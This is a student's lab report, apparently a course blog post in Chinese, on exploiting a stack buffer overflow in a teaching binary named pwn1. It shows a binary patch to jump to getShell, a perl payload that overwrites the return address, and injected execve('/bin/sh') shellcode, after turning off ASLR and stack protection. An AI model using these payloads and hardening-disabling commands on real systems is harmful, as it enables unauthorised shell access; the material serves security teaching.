20212813 2021-2022-2 《网络攻防实践》实践九报告

一、实践内容

1、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

2、实验要求

(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(2)掌握反汇编与十六进制编程器
(3)能正确修改机器指令改变程序执行流程
(4)能正确构造payload进行bof攻击 

3、相关知识

缓冲区,又称中立区。这个区域一般指两地交界处,因为一些原因所不得不划分出的区域。这个地带,并不属于两方独有,通常是由双方或者第三方共同管理。缓冲区溢出就是把一个超过缓冲区长度的字符串置入缓冲区的结果,通常都是由于程序设计语言的一些漏洞造成的。程序员忽略对边界进行检查而向一个有限空间的缓冲区置入过长的字符串会带来以下后果:

  • 一种是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,有时候甚至导致系统崩溃;
  • 还有一种后果是利用这种漏洞执行任意命令,甚至取得系统特权,从而攻击系统。

造成该漏洞的原因有:

  • 指针和数组越界不保护是缓冲区溢出的根源
  • 在C语言标准库中有许多会造成溢出的函数

防范方法:

  • 正确地编写代码
  • 使缓冲区成为非执行的缓冲区
  • 利用编译器的边界检查来实现缓冲区的保护
  • 程序指针完整性检查

二、实践过程

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

在kali下使用objdump -d pwn1 | more对pwn1文件进行反汇编:

找到main函数和getshell函数(按Esc后输入/getShell进行搜索),可以看到在main函数中按照正常的运行顺序,执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,所以我们需要修改该偏移量(0xffffffd7)使执行call后EIP指向0x080487d,即getShell函数入口,因此需要将0xffffffd7改为0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3):

将pwn1备份为pwn2,使用vim打开pwn2文件,看到的是乱码,结果如下图所示:

将乱码转化为16进制(按下Esc后输入:%!xxd),并寻找所有的d7:



如下图所示,这个d7即我们需要修改的地址偏移量,所以将这个d7修改为c3(按下r进行替换),并对pwn2文件再次反汇编,查看修改后的结果是否正确:



运行pwn1和pwn2文件,可以看到pwn2运行后获得shell,结果如下所示:

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

使用objdump -d pwn1 | more将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:

使用gdb对pwn1进行调试,当输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeee”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x65656565(“e”的ASCLL码的十六进制为65),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。

通过以上分析,只要将输入字符串的第33~36位设置为getShell函数的入口地址,便可以在foo函数返回直接跳转到getShell函数并运行。使用命令perl -e 'print "zzzzzzzzxxxxxxxxzzzzzzzzxxxxxxxx\x7d\x84\x04\x08\x0a"' > input生成十六进制字符串文件“input”,然后用(cat input; cat) | ./pwn1命令将input作为pwn1的输入,获得shell:

3、注入一个自己制作的shellcode并运行这段shellcode

首先使用execstack等命令设置堆栈可执行并关闭地址随机化:

命令 作用
execstack -s pwn1 将堆栈设为可执行状态
execstack -q pwn1 查看文件pwn1的堆栈是否是可执行状态
more /proc/sys/kernel/randomize_va_space 查看地址随机化的状态
echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化

其中需要注意的是,执行echo "0"> /proc/sys/kernel/randomize_va_space命令时需要root权限,这里需要提权(sudo su):

构造要注入的shellcode,采用的构造方法是retaddr+nop+shellcode,即将shellode放到缓冲区后边的位置,使用的shellcode为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
首先要确定retaddr的值,使用perl构造十六进制的37个字节的输入串perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode(这里的37个字节仅仅是为了获得retaddr),其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,将这段字符作为pwn1的输入运行pwn1:

使用ps -ef | grep pwn1找到对应的进程号为44998:

根据pwn1的进程号使用gdb对其进行调试(attach 44998),通过设置断点,来查看注入字符串的内存地址。先用 disassemble foo 对foo函数进行反汇编,断点应该放到ret之前(因为返回的话就会执行POP EIP),把之前的\x4\x3\x2\x1 填入EIP中会发生段错误。然后用 break *0x080484ae 来设置断点。设置断点后继续运行,这里可能需要返回程序运行界面输入一个回车才能往下执行,程序在foo返回前停止,此时查看当前寄存器ESP的值(存放返回地址的位置/栈顶位置),根据ESP的值查看当前栈顶的值为0x01020304,所以确定retaddr的值应该为0xffffd16c+0x00000004=0xffffd170

构造shellcode:32个A+retaddr+nop+shellcode,\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00,如图所示,将其作为pwn1的输入,运行pwn1,得到shell:

三、学习中遇到的问题及解决

  • 问题1:Kali2022中没有安装execstack命令,且使用sudo apt-get install execstack/sudo apt-get install prelink安装不了,显示定位不到软件包。

  • 问题1解决方案:参考了这两篇博客:更换源安装包之后便能够定位到软件包并进行安装。也可以使用Ubuntu或者更低版本的Kali试试。

  • 问题2:执行more /proc/sys/kernel/randomize_va_space显示permission denied

  • 问题2解决方案:
    需要提权后才能执行:

  • 问题3:实验三中设置断点后继续运行没有反应,停留在如下界面:

  • 问题3解决方案:需要返回程序执行界面输入一个回车:

四、实践总结

本次实践动手实现了对BOF漏洞的攻击,回顾了之前学习过的汇编、堆栈等知识,也对BOF漏洞、shellcode等原理有了进一步认识。

posted @ 2022-05-10 09:19  z十夜  阅读(128)  评论(0编辑  收藏  举报